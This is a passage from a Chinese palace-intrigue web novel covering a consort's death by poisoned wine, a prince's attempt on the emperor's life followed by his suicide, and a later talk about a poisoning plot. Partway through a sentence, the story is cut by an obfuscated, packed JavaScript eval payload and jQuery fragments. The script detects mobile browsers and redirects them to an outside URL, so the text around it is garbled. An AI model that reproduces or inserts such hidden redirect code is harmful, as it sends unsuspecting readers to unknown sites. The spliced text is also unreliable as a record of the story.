……为什么?
文慈音靠在墙角,身体不受控制地一点点向下滑,她没有走,也挪不动脚步,一墙之隔,她听到里面的人喝了毒酒,听到酒壶从手中脱落到底的碎裂。
她们不应该相识,谢家嫡女与六品文官的女儿,本就不该相识。她们也不应该相知,这巍峨皇宫,重重宫殿中住了那么多人,她与她就不应该相知。
可命运偏要这般捉弄,她们意外相识在宫外,又巧合相知在宫中,都道荣华富贵迷人眼,波诡云谲伤人心,深宫之中,人心难测,世事难料,惶惶不安如她,形单影只如她,是谢凝华发现了她、走近了她,不由分说的闯进了她的生活。
谢凝华护着她、陪着她、顺着她,永远相信她,永远站在她身边,她怎能不被这般肆意张扬,人前倨傲耀眼,却又光明正大的将真心捧给自己的人吸引?
母亲的经历早已让她看清情爱真相,她清醒地应付着帝王的恩宠,不过是为了在这深宫里求得一席之地,好能与谢凝华安稳相伴。她曾以为自己是幸运的,得友人如此,余生有其相伴,光是想想,就会对每一个明天抱有期待了。
可不知从什么时候起,一回头,那个与自己约定好彼此互为最重要的人,却率先偏离了轨道。
她又能怎么办?两人之间,她从不是主动的那一方,直到嫌隙产生,她才惊觉,原来决定的绳索,全然不在她的手上。少年人的自尊,让她无法低头询问缘由,内心的自卑,让她不敢承认自己怕被抛弃,她只能别扭地怄气,只能用尖利的言辞去试探,去挽留。
人在极端恐惧时是没有理智的,偏执的情绪占了上风,报复的火焰吞没了她的清明。她太害怕了,害怕谢凝华对皇帝动了心,她嫉妒那个男人,嫉妒他能得到谢凝华的青睐,可她更怨,她无时无刻不在怨,怨那个率先背弃承诺的人。
所以她也要去争,去抢,她要比谢凝华更受宠,要把帝王的宠爱全部掠走,要让谢凝华尝尝被冷落的滋味,要让她体会一番她的心情,要让她只能嫉妒,永远后悔!
可是……她凭什么说自己恨她?她凭什么那么自以为是,自以为她会恨她?
她是在怨啊!怨她不懂她,怨她抛弃她,怨她自以为她会恨她,明明她们之间,不应该有恨的……
最后的最后却……她从来没想过,最后会是这样的结局。
殿内的声响彻底消失了,只剩下死一般的寂静,文慈音蜷缩在墙角,肩膀剧烈地颤抖起来,她争了这么久,闹了这么久,怨…恨了这么久,最后又得到了什么……
*
冷宫里的谢贵人殁了,消息转瞬传遍宫闱,闭门修养的于少微听到李蓁蓁带来的消息,心头却没有预想中的快意。那个曾将她推入绝境、害她险些万劫不复的女人,终究死在了阴冷破败的冷宫里,连个像样的葬礼都不会有。恍惚间,她想起初见谢凝华的模样,一身正红宫装,满头珠翠,光影流转间,整个人流光溢彩得像团烈火,几乎要灼伤人的眼。
亓轲被派去审问谢家囚犯,待他得知消息时,谢凝华已经死了三日了。
他先是疯了似的甩开随从,踉跄着奔向冷宫,入目却只有一片荒芜与漫天尘灰,曾经住过谢凝华的宫室空荡荡的,连一丝她存在过的痕迹都未曾留下,巨大的绝望裹挟着滔天怒火将他吞噬,他转身跌跌撞撞地朝着太和殿的方向冲去。
庆帝正与亓轩、亓轸议事,所有人的目光瞬间聚焦在这个不速之客身上,大殿陷入一片死寂。
“放肆!你来做甚?”庆帝不满皱眉。
亓轲置若罔闻,一步步朝着殿上的庆帝走去,神色惨白如纸,唯有眼底翻涌着猩红的怒火:“我母妃死了。”
短短五个字,竟像是从牙缝里挤出来的。
“谢家犯下谋逆重罪,她身为谢家女,本就罪有应得——”亓轩见状,立刻上前一步,厉声呵斥。
“闭嘴!”亓轲猛地转头,猩红的目光如淬了毒的刀般死死盯住亓轩,随即又转回来,牢牢锁在庆帝身上,“你明明答应过我,要留她性命!”
庆帝仿佛没听见他的怒吼,神色淡然地垂眸,端起桌上的茶盏轻轻抿了一口。
“你明明答应过我的!”亓轲的声音陡然拔高,双眼赤红得几乎要滴血,“只要我帮你剿灭谢家,助你揪出幕后余孽,你就留我母妃一条性命!你言而无信!你杀了我母妃!”
庆帝这才缓缓抬眸,目光平静地落在亓轲身上,语气淡的像水:“朕不需要给你解释。”
“不需要?”亓轲愣了愣,随即发出一阵凄厉的笑,笑声在空旷的太和殿里回荡,满是绝望
“好一个不需要!父皇,你告诉我,谋逆之事皆是谢家主谋,我母亲有何错?半月山的异动,她毫不知情!你查遍了所有卷宗证据,查出她与谢家的谋逆之举有半分联系了吗?”
当初他知晓母亲决定为了他要与谢家合作,他当机立断截了她的信件,他的母妃干干净净,从来没有沾染这些事情分毫!
庆帝眉头紧蹙,还未等他开口,亓轩便再次上前一步,厉声怒斥:“亓轲!你好大的胆子,竟敢如此对父皇说话!怕是得失心疯了!来人,快把二皇子拿下!”
“拿下我?”亓轲冷笑一声,目光阴鸷地扫过亓轩,语气里满是嘲讽,“四弟,你给太子下毒的事情父皇还不知道吧?”
这话如惊雷般炸响在殿内,庆帝脸上的怒意瞬间凝固,就在众人还反应过来之际,亓轲眼中闪过一丝决绝的狠厉,猛地朝着庆帝扑了上去——
“小心!”亓轸猛地起身,一个箭步飞扑过去,将亓轲狠狠扑倒在一侧,两人重重摔在冰冷的地面上,发出沉闷的声响。
庆帝脸上的震惊还未完全消退,只觉腹部一阵尖锐的剧痛传来,低头看去,一把锋利的匕首已深深插入腹中,鲜血汩汩涌出,瞬间染红了明黄色的龙袍。
“快来人!救驾!快救驾!”亓轩吓得脸色惨白,双腿发软地朝着殿外大喊道。
殿外的禁卫听到呼救声,立刻手持长剑蜂拥而入,见庆帝腹部插着匕首、血流如注的模样,顿时脸色大变,纷纷拔剑出鞘,却又瞬间陷入茫然。
“凶手在那里!快拿下他!”亓轩回过神来,立刻朝着亓轲与亓轸扭打的地方嘶吼道。
亓轸本就伤势未愈,与亓轲扭打在一处时,渐渐有些体力不支。亓轲眼中满是戾气,猛地抬起膝盖顶向亓轸的胸口,又狠狠一脚将他踹出半米远。
还未等亓轲再有所动作,赶来的禁卫已将他团团围住,刀剑齐齐对准了他。亓轲环视四周,看着围成一圈的刀光剑影,看着殿上奄奄一息的庆帝,看着神色惊惧的亓轩,又看了看挣扎着想要起身的亓轸,突然低低地笑了起来。
他缓缓抬起手,从袖中滑出一把匕首,毫不犹豫地刺向了自己的心脏。
*
“死了?”于少微满脸震惊。
亓轸点头,又压低声音道:“亓轲临死前还说了一句话。”
于少微还沉浸在亓轲刺杀庆帝然后又自杀的震惊之中,闻言无甚反应,只愣愣顺着话头道:“你说。”
亓轸瞥了她一眼,低头凑近了些,“太子身体如今这个状
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290763|191471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
况,是因为亓轩下毒了。”
“嗯…亓轩下毒……嗯??!!”
“亓轩下毒!”于少微猛地抬头。
“嘶——”亓轸痛呼出声,额头被撞出一片红。
“啊,啊…你,你没事吧,欸…对不起啊我不是故意的,嗳你怎么突然靠那么近啊我……”于少微手忙脚乱的想去察看少年额头的印子。
“没事。”亓轸轻轻摇头,眉头却又在瞬间蹙起,左手捂着胸口,模样看着难受极了。
于少微见他这副模样,心里更慌了,连忙道:“很痛是吗?我,我现在让人去叫太医,青阳——”
“不用,不是因为您。”亓轸拉住了她的手。
“啊?”
亓轸似乎是在努力放松自己面部的表情,却又因为身体的疼痛,表情一瞬间显得有些扭曲,落在于少微眼里更成了他痛极了的铁证。
“不是因为您。”亓轸似乎预料到她又要说什么,连忙开口解释道。
“可是你,我……”于少微显然觉得他在安慰自己。
“亓轲行刺时我被他踢了一脚。”亓轸飞快解释道。
“什么?”于少微顿时一惊,起身上前欲扒少年的衣服:“踢到哪里了?快给我看看!”
亓轸扯住自己的衣襟,语气满是无奈:“在胸口,已经没事了,欸欸欸,您别……”
说话间,于少微已经上手将少年的外袍扒到肩膀处,露出里头雪白的中衣,正当她准备继续往下扒时,一只温热的手掌覆在了她的手上,无声制止了她的动作。
她抬头看见少年有些发红的耳根,这才反应过来自己在做什么,讷讷收回手,局促的放在膝上,眼睛死死盯着地板,一时间非常想遁地走人。
该死,自半月山受伤后,她由于放心不下,亓轸换药时她时常在一旁盯着,一时习惯了就忘了现在已经——该死该死该死,丢大人了!!!
亓轸看着于少微脸上泛起的薄红,忍不住发出一声闷笑,于少微闻此更加羞愤难当,正当她绞尽脑汁地想找借口赶人之际,亓轸率先开口为自己夺回留下的权利
“我以为亓轲说得很可能是真的。”
“?亓轲说了什么……哦哦哦下毒,亓轩给太子下毒……等等!亓轩怎么会给太子下毒呢?!他他他…宫中谁不知道——”于少微感觉自己脑袋有点混乱。
“宫中谁不知道他与太子关系最好。”亓轸替她补完了剩下的话。
“对对对,所以这,这他真会下毒?”于少微满脸不可置信。
“为什么不可能呢?您再仔细想想,尤其从太子大婚后开始。”亓轸神情冷静。
“太子大婚……”于少微陷入沉思,半响,她突然反应过来,猛地抬头道:“嫉妒!他在嫉妒!”
亓轸颔首表示赞同。
于少微这下全明白过来了,她沉吟片刻,又道:“亓轩对太子依恋太过,占有欲太强。”
亓轸再次颔首。
于少微蹙起眉头,语气十分嫌恶:“太吓人了,鬼一样,被这样式的缠上,太子和太子妃真是倒了八辈子霉!”
她对太子印象不错,和太子妃接触也较多,两人处的融洽,此刻她是真心替太子与太子妃害怕的。
亓轸看着她嫌恶的表情,面色一僵,没有动。
“你怎么了?”于少微瞥到亓轸的僵硬。
“没,没事。”少年低头端起茶杯抿了一口。
于少微狐疑地看了他一眼,忽然想到自己叫他来这的目的,连忙挪了挪椅子凑近道:“谢凝华没有死!”